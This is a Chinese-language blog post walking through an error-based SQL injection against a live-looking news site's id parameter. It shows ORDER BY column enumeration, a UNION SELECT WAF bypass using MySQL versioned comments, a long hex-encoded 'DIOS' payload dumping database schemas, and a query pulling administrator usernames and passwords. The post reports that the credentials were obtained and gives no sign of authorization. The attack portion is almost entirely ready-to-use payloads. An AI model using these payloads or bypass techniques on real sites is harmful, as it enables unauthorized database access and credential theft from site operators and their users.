项目实战 | 报错SQL注入绕过WAF

华盟原创文章投稿奖励计划

文章来源:安译Sec

报错的存在
一个有趣的点:http://domain.com/xxx/news.php?id=xxx
打开URL时,遇到了MySQL错误。

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27

项目实战 | 报错SQL注入绕过WAF访问端点时出现MySQL错误
我们知道可以执行一些基于布尔的查询来利用这个报错注入,让我们开始利用。

分析网站利用方式
当我输入单引号时,导致报错

项目实战 | 报错SQL注入绕过WAF

通过使用ORDER BY查询来获取列数

ORDER BY查询查找列数
查询将同时具有布尔值ORDER BY查询,确保不会显示任何错误。

http://domain.com/xxx/news.php?id=13 AND 0 order by 1 --

项目实战 | 报错SQL注入绕过WAF

我们尝试将列数增加1,直到出现第二个错误

?id=13 AND 0 order by 1 --(shows 1 error)
?id=13 AND 0 order by 2 -- (shows 1 error)
?id=13 AND 0 order by 3 -- (shows 1 error)
?id=13 AND 0 order by 4 -- (shows 1 error)
?id=13 AND 0 order by 5 -- (shows 1 error)
?id=13 AND 0 order by 6 -- (shows 2 errors)

当我们尝试找到第6列时,将显示两条错误消息。因此,这意味着数据库只有5列。

http://domain.com/xxx/news.php?id=13 AND 0 order by 6 --

项目实战 | 报错SQL注入绕过WAF

尝试找到第6列时出现报错

绕过WAF

使用UNION SELECT查询来进行注入

http://domain.com/xxx/news.php?id=13 AND 0 union select 1,2,3,4,5 --

项目实战 | 报错SQL注入绕过WAF

好家伙,有waf

尝试对union select进行编码

id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5 --

成功绕过WAF

项目实战 | 报错SQL注入绕过WAF

但是页面并没有回显,所以我们要养成查看前端源代码的习惯

项目实战 | 报错SQL注入绕过WAF

看到数字2和3。,现在我们必须专注于这两个专栏。在这种情况下,我将尝试第二列。

华盟知识星球入口

id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5 --

项目实战 | 报错SQL注入绕过WAF

尝试注入DIOS有效负载,DIOS为我们所面对的SQL创建了一个很好的表示形式。我使用的DIOS有效负载是为使用0xHEX转换/*!00000进行字符串Bypass

id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 --

项目实战 | 报错SQL注入绕过WAF

找到username和password

项目实战 | 报错SQL注入绕过WAF

id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5 --

得到管理员的账号密码

项目实战 | 报错SQL注入绕过WAF

项目实战 | 报错SQL注入绕过WAF

项目实战 | 报错SQL注入绕过WAF

项目实战 | 报错SQL注入绕过WAF

安译Sec官方知识星球,平时干货多多,不定期分享0Day,渗透实战,漏洞挖掘 ... ...等等的资源

END.

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/271037.html

发表评论